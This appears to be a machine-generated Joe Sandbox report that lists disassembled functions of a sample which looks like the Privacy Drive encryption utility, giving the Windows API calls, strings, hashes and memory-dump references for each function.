Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ExecuteShell
String ID: !@$/select,"%s"$Explorer$OPEN
API String ID: 587946157-2739410801
Opcode ID: 6452da547931195d0c5c5ff6063dd79861fa737d04357eac0afe383d768fdde5
Instruction ID: 2826955243ba4db129723b3504ea30e3d4886e60a98cb06a18c389304b2707ee
Opcode Fuzzy Hash: 6452da547931195d0c5c5ff6063dd79861fa737d04357eac0afe383d768fdde5
Instruction Fuzzy Hash: D1910171A00204DFDF10DF99D949B9EBBB4BF25318F20066EE825A72D0E3746908CBA5

Function 004A6480 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000032,00000000,?,B681F143,00000000,00000000), ref: 004A6518
CreateThread.KERNEL32(00000000,00000000,004A5ED0,?,00000000,00000000), ref: 004A6548
WaitForSingleObject.KERNEL32(00000000,00000032), ref: 004A6564
PeekMessageW.USER32(00000002,00000000,00000000,00000000,00000002), ref: 004A6579
EnterCriticalSection.KERNEL32(005BE2CC), ref: 004A6597

Part of subcall function 004A75F0: EnterCriticalSection.KERNEL32(005BE2CC,?,?,?,?,?,?,00000000,00000000), ref: 004A766C

LeaveCriticalSection.KERNEL32(?,?), ref: 004A6655
SetLastError.KERNEL32(00000000), ref: 004A666F

Strings

!@, xrefs: 004A64D1, 004A6682

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$Enter$CreateErrorLastLeaveMessageObjectPeekSingleSleepThreadWait
String ID: !@
API String ID: 956063979-1028639617
Opcode ID: 1c892b0a494d95129ab7aebc55ad6221570328481583d5927a730cb2bd0ac8f8
Instruction ID: aebf58b705ae175c566f4567bfb3b99d4fa2f247bee2bd3eaeb78ed60df37bdb
Opcode Fuzzy Hash: 1c892b0a494d95129ab7aebc55ad6221570328481583d5927a730cb2bd0ac8f8
Instruction Fuzzy Hash: 68718A74E00208DFDB10DFA8D985B9EBBB5FF19704F19812AE505EB390D774AA04CB95

Function 0042A420 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0042A45C
GdipCreateFromHDC.GDIPLUS(00000000,?), ref: 0042A47A
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 0042A4A7
GdipMeasureString.GDIPLUS(00000000,Test,000000FF,?,?,00000000,?,00000000,00000000), ref: 0042A4FE
ReleaseDC.USER32(00000000,00000000), ref: 0042A522
GdipDeleteStringFormat.GDIPLUS(?), ref: 0042A531
GdipDeleteGraphics.GDIPLUS(00000000), ref: 0042A540

Strings

Test, xrefs: 0042A4F8

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$CreateDeleteFormat$FromGraphicsMeasureRelease
String ID: Test
API String ID: 2860005999-2018365746
Opcode ID: 1170c894e4341502edd069b38d8921440693ac9ea861cefa6b29807d3eafabad
Instruction ID: b8c2d48d77c7336f129466dd9d56dc9088578dba89927b40d2fcb0531f9cf7ca
Opcode Fuzzy Hash: 1170c894e4341502edd069b38d8921440693ac9ea861cefa6b29807d3eafabad
Instruction Fuzzy Hash: 1A315C716083409FD310CF68DC44B1BFBE8FB99765F100A1EF994E22A0E7B5D9488B56

Function 0041F270 Relevance: 13.7, APIs: 2, Strings: 7, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 004C1DB0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?,00000000,00000000,00000000,?,?), ref: 004C1E7F

EnterCriticalSection.KERNEL32(005BDCCC,ENGLISH,00000007,English.xml,0000000B,Languages\,0000000A,005BDD4C,00000000,000000FF,005BDD7C,B681F143), ref: 0041F3CE
LeaveCriticalSection.KERNEL32(005BDCCC,?,?), ref: 0041F3FD

Strings

English.xml, xrefs: 0041F3AD
Languages\, xrefs: 0041F3A1
FileName, xrefs: 0041F341
PZ, xrefs: 0041F3EB
ENGLISH, xrefs: 0041F3BC
General\Language, xrefs: 0041F321
Value, xrefs: 0041F354

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$ByteCharEnterLeaveMultiWide
String ID: ENGLISH$English.xml$FileName$General\Language$Languages\$PZ$Value
API String ID: 3162664464-823105448
Opcode ID: d58b0a562f7a3f3d16fdd488f3c115c605477fc0a20af14e63d6845a59a3c83f
Instruction ID: 1d496fb5c4783d14e9ad2d6040b123dae3e84bc46c03fc0296c52f160277644a
Opcode Fuzzy Hash: d58b0a562f7a3f3d16fdd488f3c115c605477fc0a20af14e63d6845a59a3c83f
Instruction Fuzzy Hash: CF613770D00248DEEB10DFE4C859BDEBBB4BF14718F100529E415BB291D7B96A49CBA5

Function 0041E570 Relevance: 13.7, APIs: 9, Instructions: 158COMMON

Download Yara Rule

APIs

GdipGetImageHeight.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,0053C460,000000FF), ref: 0041E5B4
GdipDrawImage.GDIPLUS(?,00000000), ref: 0041E5FB
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 0041E619
GdipSetStringFormatTrimming.GDIPLUS(?,00000004), ref: 0041E631
GdipCreatePen1.GDIPLUS(FF505050,?,00000000,FF464646), ref: 0041E6FF
GdipSetPenDashStyle.GDIPLUS(?,00000002,?,00000000,FF464646), ref: 0041E714
GdipDrawRectangle.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,?,0053C460,000000FF), ref: 0041E768
GdipDeletePen.GDIPLUS(?), ref: 0041E77E
GdipDeleteStringFormat.GDIPLUS(00000000,?,00000046,?,?,?,?,FF464646,?,00000046,?,?,?,?,FF007ACC), ref: 0041E790

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$FormatString$CreateDeleteDrawImage$DashHeightPen1RectangleStyleTrimming
String ID:
API String ID: 2679673769-0
Opcode ID: f30b74f11c38feade10581bd63fe94443a1d1bed803c3e578bc0585de21dd0e0
Instruction ID: a784becf70f3238f7b51dac09e708a2ae01ae68730202bd750031b43e5c3722b
Opcode Fuzzy Hash: f30b74f11c38feade10581bd63fe94443a1d1bed803c3e578bc0585de21dd0e0
Instruction Fuzzy Hash: B4617B71208702EFDB11CF25CC44B5ABBE4FF99714F004A2DF99A932A0E774A848DB56

Function 0041B550 Relevance: 13.6, APIs: 9, Instructions: 127COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0041B57C
GdipCreateFromHDC.GDIPLUS(00000000,?), ref: 0041B598
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 0041B5E5
GdipSetTextRenderingHint.GDIPLUS(?,00000005), ref: 0041B5F7
GdipMeasureString.GDIPLUS(?,?,000000FF,00000000,?,00000000,00000000,?,?), ref: 0041B63D
GdipGetImageWidth.GDIPLUS(?,00000000), ref: 0041B664
ReleaseDC.USER32(00000000,00000000), ref: 0041B696
GdipDeleteStringFormat.GDIPLUS(00000000), ref: 0041B6A3
GdipDeleteGraphics.GDIPLUS(?), ref: 0041B6B3

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$CreateDeleteFormat$FromGraphicsHintImageMeasureReleaseRenderingTextWidth
String ID:
API String ID: 4226289993-0
Opcode ID: 25904d8595792bb77d6cf88693a8d6d9b459301a488abf0d0783ee1b5fb626c4
Instruction ID: a70a1824d574f4a95f4a6aff59bd4f0141cdcc5c27e7c1e21561ca3b9456bd18
Opcode Fuzzy Hash: 25904d8595792bb77d6cf88693a8d6d9b459301a488abf0d0783ee1b5fb626c4
Instruction Fuzzy Hash: C7516B71A00209DFDB01CF98D998BEEBBF4FB49711F10426AE805E72A0E7716904DFA0

Function 0051B2E0 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 207COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0051B360

Part of subcall function 0052CF10: _fprintf.LIBCMT ref: 0052CF2A
Part of subcall function 0052CF10: _raise.LIBCMT ref: 0052CF31

_free.LIBCMT ref: 0051B41F

Strings

G_C, xrefs: 0051B2E0
src\pk\ecc\ecc_make_key.c, xrefs: 0051B2F1, 0051B30E, 0051B329
key != NULL, xrefs: 0051B2F6
dp != NULL, xrefs: 0051B32E
ltc_mp.name != NULL, xrefs: 0051B313

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _fprintf_free_malloc_raise
String ID: G_C$dp != NULL$key != NULL$ltc_mp.name != NULL$src\pk\ecc\ecc_make_key.c
API String ID: 2491835905-2432424472
Opcode ID: 87869aad49a5f9db2c27e47bcdc1459b3fbfd7df1fa63d6b1aaae5b8d47e28a6
Instruction ID: c6510904cd206698877bf0f0a93d39303303e949e9abeec41f0cd632c6b8c825
Opcode Fuzzy Hash: 87869aad49a5f9db2c27e47bcdc1459b3fbfd7df1fa63d6b1aaae5b8d47e28a6
Instruction Fuzzy Hash: 5071CF3694021AAFEB219F50DC46FDEBBA5BF18314F040551FD14672A2E372AEA49BC1

Function 00412050 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004120F9
_memmove.LIBCMT ref: 0041212E
_memmove.LIBCMT ref: 00412165
_memmove.LIBCMT ref: 00412186
Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004121C0

Strings

&nJ, xrefs: 00412107, 00412146, 00412162
deque<T> too long, xrefs: 004121C5

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove$Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID: &nJ$deque<T> too long
API String ID: 279611364-2875715942
Opcode ID: cd0a0a4a5e4168138cc841e3c8e4ce04ef86546b5a37f16f0dca6030d7293155
Instruction ID: de54a4e7107b52c4245634e6d1b8647f75ed2680f490c29328737f0c368ae0c6
Opcode Fuzzy Hash: cd0a0a4a5e4168138cc841e3c8e4ce04ef86546b5a37f16f0dca6030d7293155
Instruction Fuzzy Hash: 9C41C371A00115ABDB10CF68CD85BAEB77ABF84300F18866AD904E7395D7B5EE15CAE0

Function 0040F230 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 96COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 0040F278
_memset.LIBCMT ref: 0040F2AA
ShellExecuteExW.SHELL32(0000003C), ref: 0040F2F4

Strings

HZ, xrefs: 0040F2FE
<, xrefs: 0040F2B2
:\, xrefs: 0040F286
open, xrefs: 0040F2D1

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: DrivesExecuteLogicalShell_memset
String ID: :\$<$HZ$open
API String ID: 1014424214-864357636
Opcode ID: 9d7b293134f83c8291e39a68c6c5a54b25b585f60e8525cb2d7d4d8adc90c3d8
Instruction ID: eab8e807e8c0203b723bbe86bd1204b7ca5e47fc920744965472b0e7266096ad
Opcode Fuzzy Hash: 9d7b293134f83c8291e39a68c6c5a54b25b585f60e8525cb2d7d4d8adc90c3d8
Instruction Fuzzy Hash: 444159B5D002589FDB30DF58D448B9EBBF4BB04324F08847AE855A7790C778AC49CB44

Function 0042C540 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 80filewindowCOMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNEL32(00000004,00000000,B681F143), ref: 0042C5CB
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0042C5E0

Part of subcall function 004210A0: EnterCriticalSection.KERNEL32(005AE198,B681F143,?,00000000,?,?,?,00000000,0053B418,000000FF,?,0042C5F1,00000000), ref: 004210E4
Part of subcall function 004210A0: LeaveCriticalSection.KERNEL32(005AE198,0042C5F1), ref: 0042113C

PostMessageW.USER32(00000111,000004DC,00000000,00000000), ref: 0042C603
CloseHandle.KERNEL32(00000000), ref: 0042C60A

Strings

!@, xrefs: 0042C596, 0042C617
_Privacy Drive, xrefs: 0042C5A8
%s_Shared_%u, xrefs: 0042C5AD

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalFileSection$CloseEnterHandleLeaveMappingMessageOpenPostView
String ID: !@$%s_Shared_%u$_Privacy Drive
API String ID: 1433164727-916476676
Opcode ID: 0879a008ea770c22e855ba54283b49706a216e68642c972544032f1920504811
Instruction ID: 0679cf7c776a440fcfb53d7d19e9896e3e829f526dbe958e15f183deb233a8a0
Opcode Fuzzy Hash: 0879a008ea770c22e855ba54283b49706a216e68642c972544032f1920504811
Instruction Fuzzy Hash: 7D315C71E01309AFEB10DFA4DD5ABAEBBB4FB09714F104119E611B72D0D7B46A04CBA9

Function 004D4420 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004D4440
TranslateMessage.USER32(?), ref: 004D4460
DispatchMessageW.USER32(?), ref: 004D446A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004D4487
Sleep.KERNEL32(0000000A,?,?,?,?,?,0048713B,00000000), ref: 004D448F

Strings

p, xrefs: 004D444F
;qH, xrefs: 004D4427

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Message$Peek$DispatchSleepTranslate
String ID: ;qH$p
API String ID: 1762048999-473232785
Opcode ID: f58ef8469eff10d2f914f8aad31ddb322e29a2d08602e4613d45bf7f597cdda2
Instruction ID: d62f21865f6b4206632e844090aad53f0a173fa2481c5afc4479ddcbee22977a
Opcode Fuzzy Hash: f58ef8469eff10d2f914f8aad31ddb322e29a2d08602e4613d45bf7f597cdda2
Instruction Fuzzy Hash: E801D231A0030AABEF20DBD4CC59FAFB77CAB54711F100027F600A7280D7B89985CBA5

Function 0041D260 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 29servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 0041D26A
OpenServiceW.ADVAPI32(00000000,PrivacyDrive,000F01FF), ref: 0041D282
CloseServiceHandle.ADVAPI32(00000000), ref: 0041D2AF

Part of subcall function 0041CD20: QueryServiceStatus.ADVAPI32(?,?), ref: 0041CD38
Part of subcall function 0041CD20: ControlService.ADVAPI32(?,00000001,?,?,?,?,?), ref: 0041CD51
Part of subcall function 0041CD20: QueryServiceStatus.ADVAPI32(?,?,?,00000001,?,?,?,?,?), ref: 0041CD65
Part of subcall function 0041CD20: Sleep.KERNEL32(000000FA,?,?,?,00000001,?,?,?,?,?), ref: 0041CD7A

DeleteService.ADVAPI32(00000000), ref: 0041D296
CloseServiceHandle.ADVAPI32(00000000), ref: 0041D29D
Sleep.KERNEL32(000001F4), ref: 0041D2A8

Strings

PrivacyDrive, xrefs: 0041D27C

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Service$CloseHandleOpenQuerySleepStatus$ControlDeleteManager
String ID: PrivacyDrive
API String ID: 2902594379-2858902902
Opcode ID: b7f325f3bfbd810a1f2e0680401061688caf6168ddcf4e552caa1c0c08904fc8
Instruction ID: 5e77515d9f14e2b06fcdb4c57ff0665284db3787b4d3b28e4904b0e3bdef38ce
Opcode Fuzzy Hash: b7f325f3bfbd810a1f2e0680401061688caf6168ddcf4e552caa1c0c08904fc8
Instruction Fuzzy Hash: A6E0653668271167C22227606C1DBBF39359FA6B53F040115F605951F58F688445E765

Function 0041D2C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 29servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 0041D2CA
OpenServiceW.ADVAPI32(00000000,PDSvc,000F01FF), ref: 0041D2E2
CloseServiceHandle.ADVAPI32(00000000), ref: 0041D30F

Part of subcall function 0041CD20: QueryServiceStatus.ADVAPI32(?,?), ref: 0041CD38
Part of subcall function 0041CD20: ControlService.ADVAPI32(?,00000001,?,?,?,?,?), ref: 0041CD51
Part of subcall function 0041CD20: QueryServiceStatus.ADVAPI32(?,?,?,00000001,?,?,?,?,?), ref: 0041CD65
Part of subcall function 0041CD20: Sleep.KERNEL32(000000FA,?,?,?,00000001,?,?,?,?,?), ref: 0041CD7A

DeleteService.ADVAPI32(00000000), ref: 0041D2F6
CloseServiceHandle.ADVAPI32(00000000), ref: 0041D2FD
Sleep.KERNEL32(000001F4), ref: 0041D308

Strings

PDSvc, xrefs: 0041D2DC

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
